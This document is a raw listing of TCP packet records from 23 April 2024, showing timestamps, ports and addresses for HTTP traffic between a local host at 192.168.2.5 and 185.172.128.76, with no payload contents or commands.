Apr 23, 2024 09:33:01.967164993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967171907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.967175961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967190027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967194080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.967200994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967205048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.967214108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967228889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.967250109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019005060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019020081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019032001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019042015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019052029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019063950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019119024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019160986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019207954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019220114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019231081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019241095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019252062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019253016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019262075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019268990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019273043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019284010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019294024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019294977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019310951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019321918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019321918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019330025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019335985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019345999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019354105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019356966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019370079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019371986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019381046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019393921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019404888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019406080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019406080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019417048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019428968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019431114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019463062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019463062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019576073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019587994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019599915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019612074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019623041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019625902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019639969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019644022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019651890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019663095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019663095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019675016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019685030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019685984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019696951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019709110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019711018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019720078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019731045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019738913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019746065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019746065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019757986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019768953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019778967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019781113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019792080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019803047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019803047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019814014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019824028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019825935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019838095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019849062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019849062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019849062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019860983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019871950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019882917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019892931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019892931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019895077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019913912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019916058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019925117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019932985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019953966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019959927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.019967079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.019984007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020019054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020147085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020159960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020169973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020181894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020193100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020209074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020219088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020220041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020231009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020241022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020242929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020248890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020252943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020263910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020273924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020275116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020286083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020292044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020303011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020307064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020307064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020313978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020327091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020334005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020337105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020348072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020359039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020360947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020370007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020373106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020380974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020391941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020400047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020402908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020409107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020414114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020426035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020431995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020437002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020447969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020450115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020459890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020471096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020472050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020483971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.020493984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020499945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.020526886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.024414062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.024425030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.024435997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.024446964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.024457932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.024463892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.024470091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.024492979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.024502039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.072379112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.072411060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.072423935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.072437048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.072511911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.072561979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.075874090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.075890064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.075902939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.075927973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.075944901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.075951099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.075958967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.075968981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.075980902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.075985909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.075994015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076005936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076019049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076020002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076030970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076049089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076066971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076206923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076220036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076231003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076241970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076252937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076256990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076261044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076268911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076280117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076292038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076296091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076303005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076308012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076314926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076327085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076333046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076338053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076349020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076351881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076361895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076374054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076385975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076394081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076396942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076400042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076409101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076420069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076421022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076431990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076442957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076447010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076453924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076466084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076474905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076478004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076488972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076500893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076502085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076514006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076515913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076520920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076534986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076543093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076546907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076560020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076566935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076570034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076581955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076592922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076594114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076606035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076617002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076627016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076627016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076630116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076642990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076651096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076654911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076668978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076678991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076679945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076689959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076702118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076711893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076713085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076725006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076735973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076738119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076738119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076746941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076759100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076760054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076771021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076782942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076783895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076798916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076808929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076809883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076824903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076826096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076837063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076847076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076848030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076860905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076868057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076873064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076884985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076890945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076895952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076906919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076911926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076919079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076930046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076941013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076941967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076947927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076951981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076961994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076963902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076975107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076986074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.076988935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.076997995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077007055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077009916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077022076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077028990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077034950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077040911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077047110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077059984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077063084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077081919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077086926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077116966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077128887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077141047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077150106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077152014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077171087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077182055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077194929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077202082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077207088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077215910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077219009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077244043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077245951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077266932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077267885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077280045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077287912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077290058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077301025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077318907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077326059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077331066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077372074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077375889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077409029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077439070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077450037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077471018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077490091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077681065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077693939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077706099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077717066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:02.077727079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077733040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077755928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:02.077785015 CEST	80	49704	185.172.128.76	192.168.2.5
